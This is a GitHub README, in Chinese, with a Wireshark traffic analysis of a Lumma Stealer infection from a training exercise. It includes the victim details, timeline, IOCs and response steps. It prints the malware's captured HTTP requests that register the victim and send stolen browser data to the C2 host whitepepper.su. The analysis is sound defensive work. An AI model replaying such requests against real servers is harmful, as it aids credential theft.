fpesquivel/Analise-de-Trafego-de-Rede-Lumma-Stealer

GitHub: fpesquivel/Analise-de-Trafego-de-Rede-Lumma-Stealer

一份使用 Wireshark 分析 Lumma Stealer 恶意软件网络流量的实战分析报告,详细演示了从 PCAP 中提取受害者信息、重建感染时间线和提取 IOC 的完整流程。

Stars: 0 | Forks: 0

**网络流量分析 — Lumma Stealer** **练习:** malware-traffic-analysis.net — 2026-01-31 **使用工具:** Wireshark **作者:** Felipe Esquivel ## 摘要 一台连接到 `win11office.com` 域的 Windows 工作站感染了 **Lumma Stealer**,这是一种旨在窃取凭据、会话 cookie 和浏览器数据的 infostealer 类型恶意软件。受感染的主机通过简单的 HTTP 在端口 80 上与 C2 服务器 `whitepepper.su`(IP `153.92.1.49`)建立了通信,并发送了系统指纹数据。随后,识别出与另外两个可疑域名的 HTTPS 连接,表明可能安装了第二阶段的恶意软件。 ## 环境 | 字段 | 值 | |---|---| | 本地网络 IP 范围 | 10.1.21.0/24 | | Active Directory 域 | win11office.com | | AD 环境名称 | WIN11OFFICE | | 域控制器 | 10.1.21.2 — WIN-LU4L24X3UB7 | | 网络网关 | 10.1.21.1 | ## 受害者详情 | 字段 | 值 | |---|---| | IP 地址 | 10.1.21.58 | | MAC 地址 | 00:21:5d:c8:0e:f2 | | 主机名 | DESKTOP-ES9F3ML | | Windows 用户 | gwyatt | | 用户全名 | Gabriel Wyatt | ### 如何在 Wireshark 中找到每项信息 - **受害者 IP** — 通过过滤发往 `153.92.1.49`(C2 的 IP)的流量进行识别,使用过滤器 `ip.addr == 153.92.1.49` - **主机名** — 使用 `nbns` 过滤器找到,通过观察 NetBIOS 名称注册数据包 - **MAC 地址** — 在应用 `nbns` 过滤器后,点击任何源自 `10.1.21.58` 的数据包,可在 `Ethernet II > Src` 字段中看到 - **用户** — 使用 `kerberos.CNameString` 过滤器找到,展开数据包详情并定位到 `CNameString: gwyatt` 字段 - **全名** — 通过 `Edit → Find Packet` 找到,在数据包详情中搜索字符串 `Wyatt`,在 LDAP/SAMR 流量中出现了 `Full Name: Gabriel Wyatt` 字段 ## 感染时间线 | 时间 (UTC) | 事件 | |---|---| | 23:04:03 | 开始捕获 — Windows 启动的正常流量 | | 23:04:49 | 访问 `media.megafilehub4.lat` — 可能是恶意软件的来源 | | 23:05:34 | 联系 `whooptm.cyou` — 可能是重定向器 | | 23:05:36 | **首次连接 `whitepepper.su`** — Lumma Stealer 活动开始 | | 23:05:39 | GET `/api/set_agent`(参数 `agent=Chrome`)— 在 C2 面板中注册受害者 | | 23:05:40 | POST `/api/set_agent?act=log` — 发送从 Chrome 窃取的数据(8.023 字节) | | 23:05:47 | GET `/api/set_agent`(参数 `agent=Edge`)— 收集 Edge 数据 | | 23:05:47 | POST `/api/set_agent?act=log` — 发送从 Edge 窃取的数据(7.975 字节) | | 23:06:06 | 与 `holiday-forever.cc` 建立 HTTPS 连接 — 第二阶段恶意软件 | | 23:06:10 | 与 `communicationfirewall-security.cc` 建立 HTTPS 连接 — 第二阶段恶意软件 | ## 恶意流量分析 ### Lumma Stealer — whitepepper.su Lumma Stealer 是一种在地下论坛作为 MaaS (Malware-as-a-Service) 出售的 infostealer。它会从 Chrome 和 Edge 等浏览器中窃取保存的凭据、cookie、历史记录以及加密货币钱包数据。 观察到的通信流程遵循了该恶意软件的经典模式: **1. 在 C2 面板中注册受害者:** ``` GET /api/set_agent?id=3BF67EC05320C5729578BE4C0ADF174C &token=842e2802df0f0a06b4ed51f12f4387e761523b &description= &agent=Chrome Host: whitepepper.su ``` 每个字段都有特定的功能: | 字段 | 值 | 含义 | |---|---|---| | `id` | `3BF67EC05320C5729578BE4C0ADF174C` | 受感染机器的唯一标识符 | | `token` | `842e2802...` | 受害者在 C2 面板的身份验证 token | | `description` | (空) | 留空的标签字段 | | `agent` | `Chrome` / `Edge` | 正在被收集数据的浏览器 | **2. 窃取数据外发:** ``` POST /api/set_agent?...&act=log Content-Type: application/x-www-form-urlencoded Content-Length: 8023 ``` 恶意软件重复了这个循环两次 — 一次针对 Chrome,一次针对 Edge — 分别向 C2 服务器发送了 8.023 和 7.975 字节的窃取数据。 **感染之前的可疑域名:** 在与 `whitepepper.su` 通信之前,主机访问了 `media.megafilehub4.lat` — 这是一个使用 `.lat` 顶级域名的域名,与任何已知的合法服务无关,很可能是恶意软件的传播载体。 ### 第二阶段恶意软件 — .cc 域名 通过 Lumma Stealer 进行外发后,主机与另外两个域名建立了 HTTPS 连接: | 域名 | IP | 端口 | |---|---|---| | `holiday-forever.cc` | 80.97.160.24 | 443 | | `communicationfirewall-security.cc` | 104.21.9.36 | 443 | `.cc`(科科斯群岛)顶级域名经常被威胁行为者滥用。`communicationfirewall-security.cc` 这个名称试图模仿合法的安全服务 — 这是一种被称为 **typosquatting/伪装名称** 的技术。这些域名表明安装了第二阶段的 payload,可能是 RAT 或其他 stealer。 ## 攻陷指标 (IOC) | 类型 | 值 | 上下文 | |---|---|---| | IP | `153.92.1.49` | Lumma Stealer 的 C2 服务器 | | 域名 | `whitepepper.su` | 主要 C2 — Lumma Stealer 面板 | | URL | `http://whitepepper.su/api/set_agent` | 注册和数据外发 endpoint | | 域名 | `holiday-forever.cc` | 第二阶段恶意软件 (阶段 2) | | 域名 | `communicationfirewall-security.cc` | 第二阶段恶意软件 (阶段 2) | | 域名 | `media.megafilehub4.lat` | 可能的传播载体 | | 域名 | `whooptm.cyou` | 可能的重定向器 | | 受害者 ID | `3BF67EC05320C5729578BE4C0ADF174C` | C2 面板中的唯一标识符 | | Token | `842e2802df0f0a06b4ed51f12f4387e761523b` | C2 身份验证 token | ## MITRE ATT&CK 映射 | 技术 | ID | 证据 | |---|---|---| | 浏览器凭据 | T1555.003 | Chrome 和 Edge 的数据被发送至 C2 | | 通过 Web 协议外发 | T1041 | 窃取的数据通过 HTTP POST 发送 | | 应用层协议 — Web | T1071.001 | C2 通过端口 80 上的 HTTP 运行 | | 伪装名称 | T1036 | `communicationfirewall-security.cc` 模仿合法服务 | | 恶意软件即服务 | T1588 | Lumma Stealer 作为 MaaS 出售 | | 收集系统数据 | T1082 | 通过 `/api/set_agent` 进行机器指纹识别 | ## 未观察到的活动 - 没有通过 SMB 进行的横向移动 — 感染似乎仅限于主机 `10.1.21.58` - 除了域控制器(正常的 AD 流量)之外,没有与任何其他内部主机的通信 - 仅通过网络抓包无法确切的传播载体(网络钓鱼电子邮件、drive-by 下载) ## 事件响应建议 1. **立即隔离** 网络中的主机 `DESKTOP-ES9F3ML` (10.1.21.58) 2. **在防火墙上阻止** IOC 表中列出的 IP 和域名 3. **强制重置** 用户 `gwyatt` (Gabriel Wyatt) 的密码,并撤销活跃会话 4. **假定完全泄露** 该用户在 Chrome 和 Edge 浏览器中保存的所有凭据 — 通知相应的服务 5. **调查代理/DNS 日志中的 `media.megafilehub4.lat`**,以识别可能访问过同一域名的其他主机 6. **对主机进行取证筛查**,以识别通过 `holiday-forever.cc` 和 `communicationfirewall-security.cc` 安装的第二阶段 payload 7. **检查域控制器日志**,查找与 `gwyatt` 账户相关的异常活动 ## 使用工具 | 工具 | 用途 | |---|---| | Wireshark | PCAP 的主要分析 | | VirusTotal | 检查 IP 和域名的信誉 | | AbuseIPDB | 社区滥用报告 | | ipinfo.io | 识别 IP 的 ASN 和地理位置 | ## 参考资料 - 原始练习:https://www.malware-traffic-analysis.net/2026/01/31/index.html - Lumma Stealer — 流量模式文档:https://www.malware-traffic-analysis.net/2026/01/01/index.html - ISC SANS Diary: https://isc.sans.edu/diary/32628/
标签:AMSI绕过, DAST, Wireshark, 句柄查看, 域渗透, 威胁检测, 恶意软件分析, 插件系统, 电子数据取证, 网络安全, 隐私保护